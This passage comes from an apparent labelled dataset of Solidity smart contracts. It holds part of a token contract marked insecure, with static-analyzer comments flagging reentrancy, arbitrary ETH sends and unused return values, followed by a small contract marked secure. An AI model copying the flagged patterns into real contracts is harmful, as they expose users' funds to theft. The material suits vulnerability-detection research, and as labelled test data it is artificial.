\n\t// Recommendation for de61e20: Emit an event for critical parameter changes.\n function setStandardTax(uint256 newTax) external onlyOwner {\n require(newTax < _standardTax);\n\t\t// events-maths | ID: de61e20\n _standardTax = newTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9de1162): SafuDevToken.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _feeAddrWallet.transfer(amount)\n\t// Recommendation for 9de1162: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c51571c\n\t\t// reentrancy-events | ID: 2dea629\n\t\t// reentrancy-eth | ID: 799548f\n\t\t// arbitrary-send-eth | ID: 9de1162\n _feeAddrWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5ea95a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5ea95a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e5bffd8): SafuDevToken.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e5bffd8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0e45098): SafuDevToken.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0e45098: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a1687fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a1687fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 5ea95a6\n\t\t// reentrancy-eth | ID: a1687fd\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 5ea95a6\n\t\t// unused-return | ID: 0e45098\n\t\t// reentrancy-eth | ID: a1687fd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 5ea95a6\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 5ea95a6\n cooldownEnabled = true;\n\n\t\t// reentrancy-eth | ID: a1687fd\n tradingOpen = true;\n\t\t// unused-return | ID: e5bffd8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 799548f\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 799548f\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: c51571c\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 799548f\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 799548f\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 4c9a2dc\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_3157.sol",
"secure": 0,
"size_bytes": 18386
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GrokPAD is ERC20Burnable, Ownable {\n constructor(uint256 amount) ERC20(\"Grokpad\", \"GROKPAD\") {\n _mint(_msgSender(), amount);\n }\n}",
"file_name": "solidity_code_3158.sol",
"secure": 1,
"size_bytes": 443
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.